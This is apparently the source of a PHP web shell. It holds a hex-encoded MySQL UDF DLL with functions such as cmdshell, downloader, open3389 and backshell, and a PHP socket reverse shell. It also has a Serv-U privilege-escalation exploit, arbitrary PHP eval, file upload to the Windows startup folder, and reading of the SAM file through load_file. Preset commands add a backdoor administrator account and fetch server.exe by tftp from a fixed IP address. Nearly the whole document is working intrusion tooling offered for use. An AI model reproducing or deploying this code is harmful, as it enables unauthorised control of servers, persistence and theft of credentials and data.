eaab46e2c63df9c0619d80e156f885ff9b02b676de154024d95345c770adcd7325468597b44d6b3d29bed4fafc002c7a987fd1bdb9febe59e350ce37610562d99286604b171ae985d20ff53c64a39831d93137cfc76810ca2c671715c09b2dfc52167240be4a6cdbc905ec95f8604149cbc9cf560f004c608306e2f90bc703be4d257c885bb7c6375a8a988431b1dde742064f0fc4b8d294c8b34844e383c1ca393acadf1c1da8ff9b13f4c70ed8208ee2c0670c1aed365ba0fce7d874fcc0addd9d74077e9d9cb230545ee35dacee2605b29a7f863bc58e0b2423a7b3a2326563210329a492cabc9f44406de4e8c14fb78d9059dbc286b6b27f01dbdc947caccee3675c19f54118d5ea0b98740e9102d2459c63811876d0a0ecd9bd55edaa60e4eecfbdef30a9ac33f952402a62c97dcb061d018c0fc6ee2760ca2eaadcdf6b397135c7875c47c36852076d607d4aac060812f601ac6f73dce3c7f50bb4aeb5369ebf65e14f43078de0dce84b270a743134db987b17710fc0d863a4791cee861a0a5568be977b1cf3b2e1eca312542df4324575f8c3e4661ed2b955bb7c48077d4952193496265740f6de6955e935cd67df798c2f77b645cb33ff297d90de4eee66384f8f5eaf5c761cde263c60619c1e1c09995d7799cc74689071abc4d310fc08f6d069cd4aa32e47beea8438d6b9aa9bdc100671c2e1b17e2014cbc782e2c7972bff99785bd2e4f2af6e6d7f46aaecc6958ddeabb52b4e93ca67fd2741af101cda966e83f822e29ec180c2bfb704a666fb9dde2ddbe8d389e98c3e3d360037860fce71598fd3444d133c21feddb993371f5f704d4ead8a116fbd09550382b62ffa1fa179b8b6eb1c9611f16a0bf4ec475aa9fb951c19c468f94fd1c2d3ec793bce76a50969ff8f39214de1f714633bbd8aced6b71034b95c38a640c51289794c4191499f9bf013e5aa9e9928b675e96ce2358b14abac50cde601ee9fdba355bc0d48900ded3bba6d8e761a5b36ab0b2480422889d0081a3adccf83cc621fbc5e110c2d2e9a5d9dab399a324c7d01ff7dac85933351e552b7b0fe2132b319b630f93e642aeb2af777627148aff3ebbf6dfebdd1985e91cdbe9a4b47bbc7e189cfd4a9de568d974d13b596f4b5c10a01b487e1191b8e742aa752ae89147256501e30918f7be67e03b4f4869c55817dd2358e438359b7cd22fd1affabd78518b91f3248e2d839ade3dcfaba45ab72519c5fcc6d7db4bee7840c1b2c23834c7d8079d42c4ff6b8b9291e0e5773b41b716bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400"; } function Mysql_m() { $MSG_BOX = '请先连接mysql,再导出DLL,最后执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $sqlcmd = 'ver'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { $bl_str = mysql_get_server_info(); if(!empty($_POST['mlink']) && empty($_POST['mpath'])){ if($bl_str[2]>=1 && $bl_str[0]=5){ $bl_sql = "show variables like '%plugin_dir%'"; $bl_row = mysql_query($bl_sql,$conn); $bl_rows = mysql_fetch_row($bl_row); $mpath = $bl_rows[1]."/mysqlDLL.dll"; $MSG_BOX = '连接成功'; }else{ $mpath = 'C:/windows/mysqlDll.dll'; $MSG_BOX = '连接成功'; } } @mysql_select_db($mdata); if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) { $mpath = File_Str($_POST['mpath']); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); $query ='create table Spider_Temp_Tab (spider BLOB);'; if(!mysql_query($query,$conn)){ $MSG_BOX = '创建临时表pider_Temp_Tab表失败'.mysql_error(); }else{ $shellcode=Mysql_shellcode(); $query ="INSERT into Spider_Temp_Tab values (CONVERT($shellcode,CHAR));"; if(!mysql_query($query,$conn)){ $MSG_BOX = "插入自定义文件失败".mysql_error(); }else{ $mpath = File_Str($_POST['mpath']); $query ="SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE '".$mpath."';"; if(!mysql_query($query,$conn)){ $MSG_BOX = "导出自定义dll出错".mysql_error(); }else{ $ap = explode('/', $mpath); $inpath = array_pop($ap); $query = 'create function cmdshell returns string soname \''.$inpath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? $MSG_BOX = '安装DLL成功' : $MSG_BOX = '安装DLL失败'.mysql_error(); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); }}} } if(!empty($_POST['runcmd'])) { $sqlcmd = $_POST['sqlcmd']; $query = 'select cmdshell("'.$sqlcmd.'");'; $result = @mysql_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} $info = $infotmp; $MSG_BOX = '执行成功'; } else $MSG_BOX = '执行失败'; } } else $MSG_BOX = '连接MYSQL失败'; } print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                +
                {$MSG_BOX}
                +
                +地址 +端口 +用户 +密码 +库名 + +
                +可加载路径 +
                +
                安装成功后可用
                + + + +
                +
                +
                + udf函数说明:
                +     cmdshell 执行cmd;
                +     downloader 下载者,到网上下载指定文件并保存到指定目录;
                +     open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                +     backshell 反弹Shell;
                +     ProcessView 枚举系统进程;
                +     KillProcess 终止指定进程;
                +     regread 读注册表;
                +     regwrite 写注册表;
                +     shut 关机,注销,重启;
                +     about 说明与帮助函数;
                +
                + 常用命令:
                +    create function cmdshell returns string soname 'moonudf.dll'
                +    select cmdshell('命令')
                +    select backshell('你的ip',12345)
                +    nc -l -p 12345
                +END; +return true; } function phpsocket() { @set_time_limit(0); $system=strtoupper(substr(PHP_OS, 0, 3)); if(!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die("Can't load socket"); }else{ @dl('sockets.so') or die("Can't load socket"); } } if(isset($_POST['host']) && isset($_POST['port'])) { $host = $_POST['host']; $port = $_POST['port']; }else{ print<< +

                + +
                反弹 cmdshell 用 php socket;
                扩展项 php_sockets 应该被开启;
                请检查 phpinfo();
                code by Maple-X

                +
                +

                主机:   +端口:  

                +Linux +Win   + + + + +eof; +echo '

                '; } if($system=="WIN") { $env=array('path' => 'c:\\windows\\system32'); }else{ $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); } $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("pipe","w"), ); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) { die("Socket 创建失败"); } if(($ret=socket_connect($sock,$host,$port))<0) { die("链接失败"); }else{ $message="----------------------PHP Connect-Back--------------------\n"; socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit") { socket_write($sock,"Bye Bye\n"); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value = proc_close($process); } } } } } function su() { $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; print<<[执行命令] [增加用户]
                +
                +
                SU_端口
                +
                SU_用户
                +
                SU_密码
                +END; +if($_GET['o'] == 'adduser') { print<<用户 +密码 +目录
                +END; +} else { print<<Cmd命令
                + + +
                +END; +} echo '
                '; if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) { echo '
                '; $sendbuf = ""; $recvbuf = ""; $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "SITE MAINTENANCE\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; if(!empty($_POST['SUCommand'])) { $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "USER ".$_POST['user']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "PASS ".$_POST['password']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: site exec ".$_POST["SUCommand"]."
                "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                "; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                "; @fclose($exp); } @fclose($sock); echo '
                '; } } function Mysql_n() { $MSG_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); else $MSG_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($_POST['downfile'])) { $downfile = File_Str($_POST['downfile']); $binpath = bin2hex($downfile); $query = 'select load_file(0x'.$binpath.')'; if($result = @mysql_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG_BOX = '下载文件失败'; } $o = isset($_GET['o']) ? $_GET['o'] : ''; Root_CSS(); print<< +
                +
                +地址 +端口 +用户 +密码 +库名 +
                +
                +END; +if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($_POST['uppath'])) { $uppath = $_POST['uppath']; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql_query($query,$conn)) { if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG_BOX = '插入临时表失败'; @mysql_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG_BOX = '创建临时表失败'; } print<<
                上传路径 +

                选择文件 +
                +END; +} elseif($o == 'd') { print<<

                下载文件 +
                +END; +} else { if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = '执行SQL语句成功
                '; $k = 0; while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} } else $MSG_BOX .= mysql_error(); } print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                +
                + + +END; +if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = 'execute sql statement success
                '; $row=mysql_fetch_row($result); echo ''.""; for ($i=0; $i'.mysql_field_name($result, $i).""; } echo ""; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo ""; for ($i=0; $i'."$row[$i]".''; } echo ""; } echo "
                "; mysql_free_result($result); } else $MSG_BOX .= mysql_error(); } } echo '
                '.$MSG_BOX.'
                '; return true; } function phpcode() { print<< +
                +
                用户自定义PHP代码:

                +
                +

                +
                + +END; +$phpcode = $_POST['phpcode']; $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#<\?#si',$phpcode)){ $phpcode = ""; } eval("?".">$phpcode
                '; } return false; } function otherdb(){ $db = isset($_GET['db']) ? $_GET['db'] : ''; print<< + +END; +if ($db=="ms"){ $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print<< +
                主机: +用户: +密码: +数据库名:

                + +
                + + +
                +END; +if ($msaction == 'msquery'){ $msconn= mssql_connect ($mshost , $msuser, $mspass); mssql_select_db($msdbname,$msconn) or die("连接失败:" .mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. mssql_field_name($msresult, $i); echo "\n"; } echo "\n"; mssql_data_seek($result, 0); while ($msrow=mssql_fetch_row($msresult)) { echo "\n"; for ($i=0; $i'; echo "$msrow[$i]"; echo ''; } echo "\n"; } echo "
                \n"; echo "
                "; mssql_free_result($msresult); mssql_close(); } } elseif ($db=="ora"){ $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print<< +
                主机: +端口: +用户: +密码: +SID:

                + +
                + + +
